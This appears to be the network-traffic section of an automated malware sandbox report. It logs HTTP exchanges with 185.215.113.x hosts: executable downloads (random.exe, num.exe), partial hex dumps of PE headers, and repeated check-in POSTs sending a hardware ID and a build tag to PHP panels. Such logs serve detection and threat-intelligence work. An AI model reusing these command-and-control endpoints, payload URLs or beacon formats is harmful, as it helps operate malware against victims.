Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:40 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Fri, 01 Nov 2024 03:42:54 GMTConnection: keep-aliveETag: "67244e3e-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 c9 f3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 db 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 db 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 64 66 69 6c 73 6c 71 00 10 1a 00 00 d0 31 00 00 0e 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 70 72 70 6a 76 74 72 00 10 00 00 00 e0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:54 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:03:05 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Fri, 01 Nov 2024 03:42:54 GMTConnection: keep-aliveETag: "67244e3e-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 c9 f3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 db 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 db 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 64 66 69 6c 73 6c 71 00 10 1a 00 00 d0 31 00 00 0e 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 70 72 70 6a 76 74 72 00 10 00 00 00 e0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003085001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003086001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="build"tale------FHCAEGCBFHJDGCBFHDAF--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003087001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 30 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003088001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="build"tale------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"tale------JKJECBAAAFHIIEBFCBKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="build"tale------GCGDHJDAFHJEBFIDAFHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------HJDBKJKFIECAAAKFBFBFContent-Disposition: form-data; name="build"tale------HJDBKJKFIECAAAKFBFBF--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
